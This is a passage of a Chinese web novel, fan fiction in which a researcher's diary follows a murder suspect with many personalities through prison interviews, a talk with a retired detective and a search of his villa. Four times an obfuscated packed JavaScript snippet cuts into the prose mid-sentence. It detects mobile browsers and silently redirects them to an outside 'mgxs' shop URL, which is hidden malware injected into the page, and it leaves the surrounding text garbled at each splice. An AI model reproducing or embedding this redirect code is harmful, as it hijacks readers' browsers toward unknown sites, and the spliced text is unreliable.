当我看到“他”的时候,还忍不住地在思考这个问题。 “冉医生,下午好啊。” 传入耳里的音色漂亮利落,听声线是个说一不二、干脆利落的性格。 抱歉,我需要纠正一下: 今天应该称呼为—— “她”。 “楚小姐今天的气色很好。”我凝视着“她”的双眼,认真称赞道。 “她”轻笑一声,显然被我的礼貌与嘴甜所取悦,“谢谢,不过你是怎么认出来我的?” 楚云秀,25岁,167cm,有一头漂亮的浅褐色卷发。 对待女性,我的心情总是要柔和愉悦许多的。 于是扬起嘴角,认认真真地告诉对方我的推测: “楚小姐是苏州人,虽然普通话说得字正腔圆十分标准,但从不自觉的语气词和稍显轻软的尾音中多少还是能推测出几分的。” 其实,这得多亏提前准备好的资料。 可我才不会告诉“她”真相呢。 “楚云秀”只是笑笑,不置可否。 “她”紧接着问了一个让我感到有些意外的问题:“冉医生介意我抽支烟吗?” 诚然,我并不是一个爱吸二手烟的人。但似乎有烟的加持,对方或许能更放松一些。 相较于更加真实可信的一手消息,短暂地当一回人体空气净化器也让我没那么难以忍受了。 于是,我决定摇头,“请便。” “她”熟练地卷着一支女士香烟,猛吸一口,舒服地眯起眼,“他们都不抽烟,真没劲!还好有老叶陪我。” 又是“老叶”? 耳朵捕捉到这个熟悉的称呼,我在心里记下,试探着开口询问。 “老叶……是你们的「队长」吗?” 从“叶修”被提及的频率和语气来看,“他们”对“老叶”的情感颇为复杂,很有可能是个重要人物。 “队长?” “楚云秀”哑然失笑,“冉医生要是这么说的话,喻文州可就不干了。” “没有的事。” 几乎就在话音落地的瞬间,另一道温和的声音立刻纠正。 “对于领队,我可是打心底里敬佩的。” “他”仿佛随时待机,只为在恰当的时机出现,好及时发现并纠正这些“队友们”的不妥表述。 “我去……吓我一跳!”对于“喻文州”的神出鬼没,楚云秀好像依旧很不适应。 “你这样,让我以后还怎么肆无忌惮地在背后说人坏话?” 收到来自队友的指责,“喻文州”立刻虚心接受批评:“不好意思,你们继续。” 他们内部大概有一套独特的感应方式,“楚云秀”沉默了一会儿,确认“喻文州”已经离开后,才接着往下。 点上烟之后,“她”的话也多了起来:“昨晚更新的韩剧你看了吗?就是最近很火的那个,男主是K国今年大热的一个小鲜肉,听说之前是男团偶像出身……” 聊起肥皂剧来,“楚云秀”的语速和”黄少天”有得一拼。 我全程维持着不失礼貌的微笑,频频点头。怕对方说得口干,中途还贴心地帮“她”添了两次水。 也许看出了我在这个话题上的态度并不热络,“她”唱了半天独角戏,却只得到了“天啊!”、“是吗?”、“真的?”之类的回答,总是有些意兴阑珊。 闷闷不乐地抱怨:“你好像都不怎么乐意接我的话呢。” “不好意思,平时科研任务有点重,实在没有太多闲暇时间看剧,所以确实了解不多,不敢轻易开口。”我歉然颔首,轻轻示意。 直接说出我对“她”的独家爱好并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645076|206769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不感兴趣、甚至觉得这纯粹是在浪费时间的无聊消遣显然是失礼至极的。 作为一个接受过高等教育的绅士(不!)淑女!可不会犯这样的错。 我话锋一转,毫无生硬转折的痕迹,“但是刚刚听楚小姐描述得妙趣横生,倒也让我有点感兴趣了。” 我可以摸着良心说,这绝对是不真诚的恭维。 不过,“楚云秀”听了这话倒很开心,“算你有眼光,就不和你计较啦!” “她”很善解人意地补充道:“既然你不是很了解的话,我还是回去和沐沐聊这些好了。” 说完这句话,“她”又兴致勃勃地向我展示“她”心爱的宠物——火之鸟。 这只鸟通体赤红,个头不大,展翅之间带起一阵风,喷在脸上隐隐有灼烧感。 等“楚云秀”被医生带走之后,我才发现自己已经唇干舌燥。 整个下午,我就听了满耳朵的肥皂剧和看那只蠢鸟飞来飞去了。 还不如去做实验呢,真是浪费时间。 我当初为什么要答应导师这件事??? · · · · · P.S. “楚云秀”是个杀人犯!“她”从头到尾都是装的! 为了便于全面把握“冉逸”案的前因后果,我向当地警局申请调出了近几年的全部案件,其中有一桩无头公案的受害者就是被火焰活活烧死的。 面目狰狞,死状凄惨。现场被布置成了一望无垠的深渊,里头精心布满了雪花、火焰、雷电、光环等元素。 “她”下午和我的所有对话究竟在指向什么已经不言而喻了。 “她”这是在挑衅! “她”在和我炫耀自己的作案成果! “她”是个疯子! 哈!哈 !我被这些人格联手耍了一通! “他们”被困在医院里,医生护士无视他们,我就成了送上门的现成“观众”,听“他们”倾诉轮番自个憋了许久的话。 现在我要收回自己之前的判断。 或许,与其说是“他们”共享了记忆,不如说“他们”都在观察我。 “冉逸”在哪? “冉逸”在哪? 8. 007 007 2025年7月23日 昨天的对话让我消耗了太多心力,晚上竟然睡得很沉,连闹钟都没有听到。 所以和前几天相比,今天早上出门的时间稍微晚了一些。 等来到沃尔登监狱的时候,已经有人先到了。 由于“冉逸”的情况十分罕见,对“他”的精神状况进行考察的人数已经增加至三人。 除我之外,另外两位都是来自苏黎世大学医学院精神科的专业医生。 在我正式接触“冉逸”之前,两位医生已经分别评估过三次,今天则由我们三个一起给出最后评定结论。 按照常理来说,正常的司法精神鉴定流程虽然麻烦,但不太复杂,花费一个月左右的时间比较合理。 这次足足调派了三位精神科学方面的研究者,只为负责同一个人还真是头一回。 如果有人声称自己是一名“精神障碍患者”,并在评定后确认处于疾病发作阶段,而其危险行为与发病症状有直接关联的话,通常会被认定为丧失自控能力和辨别能力。 在这种情况下,参考以往惯例,往往会被直接视作无刑事责任能力。 意料之中的结果。 “冉逸”无罪。 或者应该说,因为“冉逸”一直处于发病期。 考虑到“冉逸”情况特殊、影响恶劣,最终会被剥夺政治权利,判处终身监禁。 另外两位医生显然是这方面的熟手,没耽误多长时间,评定甚至比预期的还要早就结束了。临别时,有一位狱警专门负责送我离开。 “等等——” 走出几步开外,我忽然敏锐地察觉到,这条路有些不太对劲。 “先生,我想这并不是通往大门的路吧?” 听到我的质疑,狱警报以十分礼貌的微笑,冲着角落的方向比手:“您真细心。” “有人想见您。” 于是下一秒,我在监狱公共休息区的角落里,见到了“冉逸”。 “他”手里拿着一盒三明治,慢条斯理地吃着,吃相优雅。甚至在看见我过去的时候,还能举起手边的矿泉水瓶,向我致意。 当我在“他”对面落座之后,“他”没有说话,不紧不慢地把最后两口三明治吃完,又从口袋里抽出一张湿巾,轻轻按了按嘴角。 做完上述这一系列事情之后,“他”终于开口了:“冉医生您好,我叫张新杰。非常感谢您这几天愿意耐下心来,听我的队友们讲话,我代他们向您表示最诚挚的谢意。” 多么有分寸感的成年人啊。 甚至因为“他”的礼貌,原本有些憋闷的心情豁然开朗。 根据对方的仪态和举止,我已经判断出来,这就是第二次见面时,最后关头冒出来,忽然申请停止谈话的那位。 但“周泽楷”和“楚云秀”的先例还近在眼前,这次我不敢再妄下结论:“不用客气,他们分享的故事……” “也很精彩。”我搜肠刮肚,终于找到了一个合适的形容词。 “张新杰”推了推眼镜:“那就好。” 从表情来看,实在很难判断得出“他”对我这番恭维的接受度究竟如何。 “实不相瞒,特意请冉医生过来,是有一件小事想要麻烦您。” 来了! 我精神一振。 看得出来,以“张新杰”的性格,绝对不会因一时“心血来潮”邀请我聊天。 没怎么绕弯子,他就将自己的目的直言不讳,我反倒松了一口气。 可我并不敢打包票,只能谨慎地告诉他:“谈不上「麻烦」,如果在条件允许的范围之内,我会尽力一试。” “张新杰”心细如发,一眼看穿了我的犹豫:“冉医生放心,都是举手之劳的小事而已,不会让您太过为难的。” 都是? 听清这两个字,我已经暗道不妙。 帮一件就已经足够令人头疼,没想到竟然还不止一件吗? 看不出来,“张新杰”是这样“得寸进尺”的性格。 在我的腹诽中,对方缓缓开口:“冉医生,沃尔登监狱的情况您也看到了。虽然谈不上虐待犯人,但有些物资并不算齐全。” “考虑到‘冉逸’在这里没有什么亲人,我想麻烦您帮我们带点儿东西进来。” “张新杰”并非临时起意。 看起来,“他”是受到了上一回我给“周泽楷”送巧克力的启发。 我没有忘记,坐在面前的是一位杀/人/犯。 于是,依旧谨慎地提醒他:“张先生,你应该知道,沃尔登有规定,探监者不允许携带任何无关物品。” “当然。您放心,这一点叶修已经和监狱长报备过了,检验没有问题东西可以送进来。” 出乎我的意料,“张新杰”看着就是一板一眼的人,却会对“他们”的领队直呼其名。 “好吧。”对方已经做好了万全准备,既然如此,我也没必要再推脱下去。 “对超市有要求吗?” “超市?” “张新杰”的眼睛藏在镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645077|206769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 框下,此刻泛起了细碎的笑意:“哦不,当然不是去超市。” “您直接去我们住的训练基地就好。” 除了公事公办之外,我并不想和这位杀/人/犯有任何过多的牵扯。 话到嘴边,又换成了委婉提醒:“冉先生的家……我的意思是,您口中的「训练基地」已经被警方查封了,我不能进去,这是其一。” “冉医生是不能,还是不想?” “张新杰”轻轻抬手,做了一个制止的动作,“我大胆推测,应该不是不想。” “他”话里意有所指,带着沉着的笃定:“毕竟,对我们生活过的地方,冉医生应该十分好奇吧。” 不可否认,这个理由抛出来,的确足够令我心动。 “张新杰”再接再厉:“都是一些简单的日用品,我们倒是无所谓,但毕竟队伍里还有几个年纪小的,总不能苦了他们。” “……” 年纪再小,不也都成年了吗? 我竟一时无语凝噎。 “队友们既然找上我了,我总不能袖手旁观。” 说着,“张新杰”又推了推眼镜。 他似乎很喜欢做这个动作。 “我想冉医生这样谨慎细心的人,应该也不会给自己带来一些本可以避免的麻烦。” 显而易见,这是警告。 没有威逼利诱,但“张新杰”依旧在提醒我,不要想着多管闲事,找警/方通风报信。 “他”多虑了。 我答应了“他”。 “张新杰”递给我一张清单,“需要的东西都在这张纸上,具体的摆放位置也都做出了详细标注,麻烦冉医生了。” 低头看了眼手里的纸,一笔一画,工整端正,很符合“张新杰”给人的印象。 上面一条一条记了不少,就是一份再寻常不过的所需物品清单: 苏沐橙的玩偶、张佳乐的零食、叶修的烟…… 但“张新杰”还是起身,十分正式地向我鞠了一躬。 我正准备说不必,对方就自顾自地站直身体,抚平衣角的褶皱,然后微微颔首,准备告辞。 一句话都没来得及说,“他”已经转身离开,一旁负责看守的狱警亦步亦趋地跟在后面,一时竟让人分不清是谁看守谁。 这场面有些荒诞,让我忍不住想笑。 我也确实笑出了声。 保持礼貌只能说明“张新杰”的教养很好,仅此而已。 看得出来,从头到尾,“他”都没有真正尊重过我。 9. 008 008 2025年7月24日 想起“张新杰”礼貌的傲慢,我心里多少有点微妙的不舒服。 于是,在返程的途中,没怎么犹豫,就定好了第二天的行程。 当然不是去帮“他们”拿东西。 在瑞士读了这么多年书,我也算是有些人脉。 今天我要去拜访的是一位故交,当年读博一帮导师干活的时候认识的,是位已经离休的刑警。 听说当初“周泽楷”的那个案子,就是由她一手负责。 这位刑警一向雷厉风行,昨天临时得知我要来拜访,已经连夜将相关资料整理了出来。 她知道我不爱喝水,给我拿了罐冒着冷气的可乐,自己坐在一旁开了瓶酒。 由于之前的工作属性,需要时刻在岗待命,她已经很多年没有碰过酒了。 现在终于能畅快地喝上,她惬意地眯着眼,仔细辨认图片上的人。 这是张“冉逸”的照片,一分钟前,我刚从网上搜索并保存下来。 这位刑警记性很不错,移开唇边的酒瓶,她告诉我:“这个人是当年的重点怀疑对象。” 哪怕已经隔了很长一段时间,她此刻回忆起来依旧无比清晰:“根据现场监控显示,他就是最后一个接触受害者的人。甚至当我们出警赶到现场后,他还在周边游荡,没有走远。” 身为队长,她毫不犹豫地将人拷回警局审问。 “你知道的,无论案件大小,归根到底都要讲证据。” 她耸耸肩,看不出到底是无奈还是后悔,“一天一夜下来,问不出任何线索,也没有任何证据。” “更致命的是——” 我有些不客气地提出推断:“这听起来像是您的一次自作主张,完全不符合流程规定。” “是啊。”她又灌了一口酒下去。 “最后只能将他无罪释放,我自己还挨了一次处分。” “如果你在现场,你也一定会怀疑他的。” 刑警无比笃定地对我说,“那时候,几乎所有人都在怀疑他。因为他实在太镇定了。” “或许只是心理素质过于强大了呢?” 我尝试提出可能。 如果不是心理素质远超常人,恐怕也不会成为凶手了。 “更致命的问题不在证据。” 她补充道:“而是动机。” “他就在案发现场,偏偏并不具备作案动机。” 这位刑警翻开茶几上倒扣着的一张纸,上面画了一张二十岁出头的年轻人。 “他”的相貌很英俊。 这是“周泽楷”吗? 我恍惚了一瞬。 “这是侧写师和画像师合作,还原出来的心理画像。” 她很笃定:“如果没有意外的话,犯人应该就是他。” 我微微笑了:“他是个多重人格患者,就在昨天,我和另外两位专业医生刚刚给他做完精神评估和考察报告。” “临走的时候,我能把这张画像一起带上吗?” 我认真地提出请求:“您的直觉是对的,我怀疑这件案子就是他的某一个人格做出来的。” 她猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645078|206769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灌了一大口酒,呛得自己眼泪都快流出来了。 “当然。只要能帮上忙的,你都带走吧。反正这桩案子已经盖棺定论,留在我这里也没什么用了。” 这些重要资料算是意外收获,我没了继续待下去的理由。 刚收拾好东西,视线里忽然多了一罐可乐。 蒸腾出的水滴正顺着罐身往下滴落,等我接过可乐,她又递了个文件夹。 “这些都是之前的几桩无头公案,你如果感兴趣的话,要不要一起带走?” 这位刑警望着我,我回望向她的眼睛。 她的眼里闪着尚未熄灭的火花,我头脑一热—— 好吧,其实后来我一出门就后悔了。 这幅神情让我莫名想起“黄少天”那场未能如愿的PK,总之,我最终全都接了过来。 “之前和我们一起出警的一个实习生提过一嘴,说这人一开始声称自己叫「孙翔」。” “没想到核查完基本信息后,发现他其实叫「冉逸」。” 她斜倚在门框上,双手抱臂,看我坐在换鞋凳上弯腰换鞋,随口八卦,“小冉,这种情况,是不是和你刚刚说他是多重人格有关系?” 见我点头,她十分感慨地叹了口气:“唉,我当时还批评那个实习生做背调不认真。如果真是你说的这样,看来是我错怪她了。” 我还沉浸在上一轮对话中。 “孙翔”?不是“周泽楷”吗? . P.S. 25号记得去“训练基地”,提前请、假。 (划掉) 10. 009 009 2025年7月25日 带上清单,拎着几个袋子,按照“张新杰”提供的地址,我来到了友谊路。 到达目的地后,我才发现,“他”口中的训练基地,竟然处在一片别墅区里。 以学校提供给学生的那点儿微薄津贴和补助,显然没有资格肖想这种水平的住宅。 我站在马路对面,有些好奇地张望了一圈。 或许是受到凶手曾经在这里居住过的影响,这片别墅区看起来无比荒凉,就连门岗都在打盹。 趁着没人注意,我顺利混了进去,径直走向第十四栋。 (咦,我为什么这么熟练?) 大门是电子锁,用“张新杰”写给我的密码,很顺利地就打开了—— “7575”。 这似乎只是一串数字而已,完全看不出来有任何深意。 7月5日?难道是谁的生日吗? 训练基地是一幢三层的独栋别墅,外观看起来也算奢华,可里面的装修实在…… 说好听点儿,叫随心所欲,说得难听点儿,就是乱七八糟。 刚进门,我的右脚就踢到了一个足球上,足球往前滚了几圈,打翻了不远处的宠物食盆。 好在盆里已经没什么东西了,并没有让眼下的混乱再雪上加霜。 准备关门的时候,我才发现堆在门后的几袋猫粮。 上面已经浅浅积了一层灰,看起来也已经很长时间没人动过。 关上门往里走,我小心翼翼地避开一路上的障碍。 刚走了没两步,我忽然忍不住笑了一下。 好像自己在参加什么闯关小游戏似的。 一楼的空间很开阔,阳光最好的那片区域整整齐齐地放了两排电脑。 我认真数了一圈,十四台。 每台都配备了齐全的显示器、主机、键鼠、耳机等相关设备。 还有必不可少的荣耀账号卡登陆器。 这十四台电脑竟然占据了一楼大半面积,在剩余的有限空间里,只容得下一个半开放式厨房和两张折叠餐桌。 还有一个小房间,门紧紧关着,我猜测那是储物间。 转了一圈,愣是没找到坐的地方。或许“他们”都用电竞椅代替了椅子吧。 一举两得,还省空间,挺好。 厨房外面放了一个很大的双开门冰箱。 我客观评估了一下,然后得出结论:这个比我之前见过的所有冰箱都要大。 冰箱上贴满了便签条,俨然成了他们用来交流的留言板。 上面有好几个人的笔迹,乍一看,像极了热闹的同/居生活。 但我知道,这些其实都出自同一个人手下。 【昊:冰箱门是不是有点松了?】 【翔:我服了!你字写大一点儿OK?我差点被夹到手了!轩哥,你上次不就说要买一个新的吗?】 【轩:?我什么时候说这话了?】 【轩:行行行我去买一个】 【肖:前段时间才换了一个显示器,最近钱不够用了,你们省着点儿吧】 这是四个人格在对话吗? 所以冰箱门真的坏了吗? 我回忆着上回和“李轩”打交道的场面,对方似乎是个可靠的人。 如果“他”说要去买一个,那一定已经解决了这个问题。 这样想着,我放心大胆地打开了冰箱门。 “鸡胸肉、西蓝花……” 难道有人近期有减脂的需求吗?清单上没有写明来源,我没有根据地想到了“张新杰”。 但无论是谁,我都得毫无怨言地把食材一一清点后装进袋子里。 三听可乐是“王杰希”点名要的。 “他”那样的性格,竟然喜欢喝可乐这种碳酸饮料? 好吧,我想了想,感觉又在意料之中。 按照要求,我接着把冰箱里剩下的三盒西瓜、一盒吃了一半的蓝莓和看起来应该没坏的榴莲一起带上。 接着又走进厨房,在壁橱里翻出三袋鲜花饼。 鲜花饼是云南的特产,我已经很久没有吃过了,还怪怀念的。 拿在手里掂量了一下,我迅速思考了昧下一袋的可行性。 没等付诸实践,一低头—— “张新杰”的清单列得明明白白:【鲜花饼,三(划掉)两袋】 虽然我和“他”仅仅打过两次交道,但从这两次会面基本可以判断,“张新杰”绝对不会犯这么不严谨的错误。 所以,留下的那一袋是给我准备的吗? “张新杰”还挺了解我的。 我要找的另一样东西就放在鲜花饼的旁边。 可是这才七月份,谁会在这个时候吃月饼?还是五仁馅的。 有了五仁月饼在前,剩下的食物明显正常多了: 一大罐曲奇、一盒红糖、一罐茶叶,五斤挂面、一袋大米…… 等等。 “他”要米和面干什么? 沃尔登监狱难道给“他”特批了一个锅吗? 我擅自将大米放回原处。 这玩意儿实在太重了,我拎不动。 希望“他”不会生气。 和外面积了一层灰的情况不同,厨房里的厨具增光瓦亮,使用频率很高,看起来经常有人做饭。 我把整理出来的食物装了满满两大袋,放在餐桌上。一个心痒,又忍不住走到冰箱前,接着往下看“他们”的对话: 【乐:我剩下的半盒点心在哪儿,你怎么解释!】 【橙:别忘了那笔巨款你还没还我】 也不知道到底是多大的款项,才会让“她”在“巨款”二字下重重画了一道横线。 【锐:我斥巨资买回来的蛋筒呢?】 【乐:你少扯开话题!】 【肖:蛋筒要放冷冻,你放保鲜全化了,沾到领队买的菜上了,我就全给扔了】 【楚:啧啧啧】 【楚:没想到有朝一日还能从肖队口里听到“全扔了”这几个字】 【叶:叽里咕噜说什么呢,蛋糕放桌子上了】 【王:谢了】 【王:衣服别忘了收,明天看起来要下雨】 除了这种日常对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645079|206769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,就是一堆奇奇怪怪的数字。 【115,73】【29,87】…… 这些是坐标轴吗? 我不想再做摘抄了,“王杰希”说的没错,“黄少天”的确话多,他在冰箱上留了一大段话,我看得头晕眼花,最后总结为两个字—— 好饿。 我放弃冰箱,去了楼上。 一进二楼,率先映入眼帘的就是两个洗衣机,旁边摆放着一堆清洁用品。 还有不远处疑似报废的扫地机器人和吸尘器。 我是来帮忙拿东西的,可没有给“他”做义务清洁的打算。 于是目不斜视地穿过二楼走廊。 令我失望的是,这层楼显然只是“他们”用来休息的地方。每个房间都贴心地在门上标注好了入住名单: 【第一间:叶修、喻文州、周泽楷、王杰希】 【第二间:黄少天、肖时钦、张佳乐、张新杰】 【第三间:李轩、孙翔、唐昊、方锐】 【第四间:楚云秀、苏沐橙】 即便对“他们”的生活充满好奇,教养也绝不允许我未经他人许可随意闯入私人空间。 何况一想到这十四个人其实都是一个人,我难免有些毛骨悚然。 没有在二楼久留,我匆匆上了三楼。 和二楼很不一样,三楼的布局更像是一楼。 南北打通,采光极佳,占地面积最大的,是一个半开放式会议室。 会议室的门敞着,一张长长的方桌上,七零八落地摊着大小、样式各异的笔记本。 椅子歪七扭八地放着,我走近离门口最近的那一张,顺手把散落的外套叠好,搭回椅背上。 外套以红黑两色为主调,在前胸用金灿灿的笔画勾勒出一个大大的数字【6】。 除了笔记本和写写画画的图纸外,桌上还摆着几杯空了的奶茶和一些吃完或没吃完的零食。 会议室一头一尾分别放置了一个投影仪和一块可移动白板。 正前方的投影仪没有收起来,正后方的白板还残留着没擦干的墨迹。 仿佛这里的所有人只是短暂离开了一下。 下一秒,“他们”又会嘻嘻哈哈地打闹着进来。接着吃没吃完的零食、开没开完的会。 毫不意外,即便在三楼,也有几台配备齐全的电脑。 真奇怪,别墅里没有电梯,“他们”是怎么想办法把这些东西完好无损地搬到三楼来的? 其实我一进门就看到了那个投影仪。 电源连接似乎一切正常,我很好奇它是否还能正常运转。 于是,我按下了开关键。 出乎我的意料,投影仪竟然处于睡眠状态,几乎就在我操作的瞬间,屏幕快速亮起,向我显示了“他”离开前正在做的事情。 投影仪占了几乎一整面墙。 从上到下,一整面墙上铺满了地图。 整整一百二十张小地图。 密密麻麻,看得人头晕目眩。 我努力辨认着,但这只让我更加头晕。 因为我认出了几个熟悉的案发现场。